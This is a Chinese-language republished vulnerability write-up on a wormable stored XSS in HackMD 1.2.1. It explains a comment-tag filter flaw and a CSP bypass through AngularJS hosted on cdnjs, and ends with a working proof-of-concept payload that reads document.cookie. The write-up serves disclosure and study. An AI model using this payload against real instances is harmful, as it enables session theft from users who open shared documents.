Markdown协作平台HackMD的蠕虫型XSS
HackMD是一款由中国台湾地区开发的Markdown协作系统,全球都有不少用户,其软件源码也开放在GitHub上,已经得到4500多颗星。
HackMD整体代码的质量不低,所以没有太严重的漏洞。当然XSS之类的漏洞还是不可避免的。这次发现的是一个比较有趣的XSS漏洞,可以达到蠕虫传播的效果。
漏洞成因
以下皆以1.2.1版本为例
由于HackMD允许嵌入定制化的Web标签,所以为了防止XSS漏洞势必得对HTML代码进行过滤,HackMD使用了一个XSS防御函数库- npm/xss来防御!从相关的文档及GitHub上的Issue及星星数来看,这是一个很成熟的XSS防御系统,很难找到问题。
因此,我把焦点放到对函数库的使用上,再安全的函数库碰到不安全的用法也会出现问题。HackMD使用到npm/xss的位置位于public/js/render.js
的preventXSS
中,代码如下:
var filterXSSOptions = {
allowCommentTag: true,
whiteList: whiteList,
escapeHtml: function (html) {
// allow html comment in multiple lines
return html.replace(/<(?!!--)/g, '<').replace(/-->/g, '-->').replace(/>/g, '>').replace(/-->/g, '-->')
},
onIgnoreTag: function (tag, html, options) {
// allow comment tag
if (tag === '!--') {
// do not filter its attributes
return html
}
},
onTagAttr: function (tag, name, value, isWhiteAttr) {
// allow href and src that match linkRegex
if (isWhiteAttr && (name === 'href' || name === 'src') && linkRegex.test(value)) {
return name + '="' + filterXSS.escapeAttrValue(value) + '"'
}
// allow data uri in img src
if (isWhiteAttr && (tag === 'img' && name === 'src') && dataUriRegex.test(value)) {
return name + '="' + filterXSS.escapeAttrValue(value) + '"'
}
},
onIgnoreTagAttr: function (tag, name, value, isWhiteAttr) {
// allow attr start with 'data-' or in the whiteListAttr
if (name.substr(0, 5) === 'data-' || window.whiteListAttr.indexOf(name) !== -1) {
// escape its value using built-in escapeAttrValue function
return name + '="' + filterXSS.escapeAttrValue(value) + '"'
}
}
}
function preventXSS (html) {
return filterXSS(html, filterXSSOptions)
}
为了使用者能够自定义过滤规则,npm/xss提供了多个不同的选项给使用者,而在onIgnoreTag
这个回调中,判断如果是注解的标签便直接回传原始的HTML内容,关键代码如下:
if (tag === '!--') {
// do not filter its attributes
return html
}
这段代码原本应该是想用于保留注释的内容!但是,由于没有任何过滤,就可能引起问题:
<!-- foo="bar--> <s>Hi</s>" -->
例如,如上代码就会把把bar--> ...
当成一个属性值,但是-->
会闭合前方的注解标签,如此一来攻击者便轻松地绕过防御,插入任意HTML代码!
绕过CSP
虽然已经绕过了npm/xss的防御,但是,HackMD还使用了CSP去阻挡未授权的前端代码执行,相关的CSP政策如下:
content-security-policy: sc ript-src 'self' vimeo.com https://gist.github.com www.slideshare.net https://query.yahooapis.com 'unsafe-eval' https://cdnjs.cloudflare.com https://cdn.mathjax.org https://www.google.com https://apis.google.com https://docs.google.com https://www.dropbox.com https://*.disqus.com https://*.disquscdn.com https://www.google-analytics.com https://stats.g.doubleclick.net https://secure.quantserve.com https://rules.quantcount.com https://pixel.quantserve.com https://js.driftt.com https://embed.small.chat https://static.small.chat https://www.googletagmanager.com https://cdn.ravenjs.com 'nonce-38703614-d766-4dff-954b-57372aafe8bd' 'sha256-EtvSSxRwce5cLeFBZbvZvDrTiRoyoXbWWwvEVciM5Ag=' 'sha256-NZb7w9GYJNUrMEidK01d3/DEtYztrtnXC/dQw7agdY4=' 'sha256-L0TsyAQLAc0koby5DCbFAwFfRs9ZxesA+4xg0QDSrdI='; img-src * data:; style-src 'self' 'unsafe-inline' https://assets-cdn.github.com https://cdnjs.cloudflare.com https://fonts.googleapis.com https://www.google.com https://fonts.gstatic.com https://*.disquscdn.com https://static.small.chat; font-src 'self' data: https://public.slidesharecdn.com https://cdnjs.cloudflare.com https://fonts.gstatic.com https://*.disquscdn.com; ob ject-src *; media-src *; fr ame-src *; child-src *; connect-src *; ba se-uri 'none'; form-action 'self' https://www.paypal.com; upgrade-insecure-requests
在整个规则中,我们可以看到,它允许来自https://cdnjs.cloudflare.com/
的js脚本执行。这下事情就变得简单了,我们可以直接使用AngularJS函数库,配合客户端模板注入的方式的执行payload!
最终攻击代码
综合以上两点,得出:
<!-- foo="-->
<sc ript src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</sc ript>
<di v ng-app>
{{constructor.constructor('alert(document.cookie)')()}}
</di v>
//sssss" -->
如下视频也展示了可对所有共享恶意文档的用户进行攻击:
视频链接:
https://youtu.be/GRi2pz6_sGY
https://v.youku.com/v_show/id_XNDA5ODM4OTA0MA==.html?spm=a2h3j.8428770.3416059.1
感谢你的阅读!
本文由白帽汇整理,不代表白帽汇任何观点和立场
来源:https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html
最新评论